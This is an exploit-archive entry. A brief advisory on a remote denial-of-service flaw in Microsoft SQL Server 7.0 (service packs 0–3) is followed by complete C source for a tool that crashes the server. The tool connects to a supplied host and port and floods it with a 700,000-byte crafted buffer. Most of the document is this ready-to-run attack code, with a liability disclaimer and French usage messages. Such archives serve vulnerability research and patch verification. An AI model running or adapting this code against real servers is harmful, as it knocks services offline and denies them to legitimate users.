source: http://www.securityfocus.com/bid/11265/info

Reportedly Microsoft SQL Server is affected by a remote denial of service vulnerability. This issue is due to a failure of the application to handle irregular network communications.

An attacker may leverage this issue to cause the affected server to crash, denying service to legitimate users.

/* Microsoft mssql 7.0 server is vulnerable to denial of service attack
�* By sending a large buffer with specified data an attacker can stop the service
�* "mssqlserver" the error noticed is different according to services' pack but the result is always
�* the same one.
�*� Exception Codes = c0000005
�* vulnerable:� MSSQL7.0 sp0 - sp1 - sp2 - sp3
�* This code is for educational purposes, I am not responsible for your acts
�* Greets:sm0g DEADm|x #crack.fr itmaroc and evryone who I forgot */
#include <stdio.h>
#include <winsock.h>
#pragma comment(lib,"ws2_32")
u_long resolv(char*);

void main(int argc, char **argv) {
�WSADATA WinsockData;
�SOCKET s;
�int i;
�struct sockaddr_in vulh;
�char buffer[700000];
�for(i=0;i<700000;i+=16)memcpy(buffer+i,"\x10\x00\x00\x10\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc",16);

�if (argc!=3) {
� printf("� MSSQL denial of service\n");
� printf("��� by securma massine\n");
� printf("Cet outil a ete cree pour test ,je ne suis en aucun cas responsable des degats que vous pouvez en faire\n");
� printf("Syntaxe: MSSQLdos <ip> <port>\n");
� exit(1);
�}
�WSAStartup(0x101,&WinsockData);
�s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
�ZeroMemory(&vulh,sizeof(vulh));
�vulh.sin_family=AF_INET;
�vulh.sin_addr.s_addr=resolv(argv[1]);
�vulh.sin_port=htons(atoi(argv[2]));
�if (connect(s,(struct sockaddr*)&vulh,sizeof(vulh))==SOCKET_ERROR) {
� printf("Impossible de se connecter...le port est en generale 1433...\n");
� exit(1);
�}
� {
� send(s,buffer,sizeof(buffer),0);
�
� printf("Data envoyes...\n");
�}
�printf("\nattendez quelques secondes et verifiez que le serveur ne repond plus.\n");
�closesocket(s);
�WSACleanup();
}

u_long resolv(char *host_name) {
�struct in_addr addr;
�struct hostent *host_ent;
�if ((addr.s_addr = inet_addr(host_name)) == -1) {
� if (!(host_ent = gethostbyname(host_name))) {
�� printf ("Erreur DNS : Impossible de r�soudre l'adresse %s !!!\n",host_name);
�� exit(1);
� }
� CopyMemory((char *)&addr.s_addr,host_ent->h_addr,host_ent->h_length);
�}
�return addr.s_addr;
}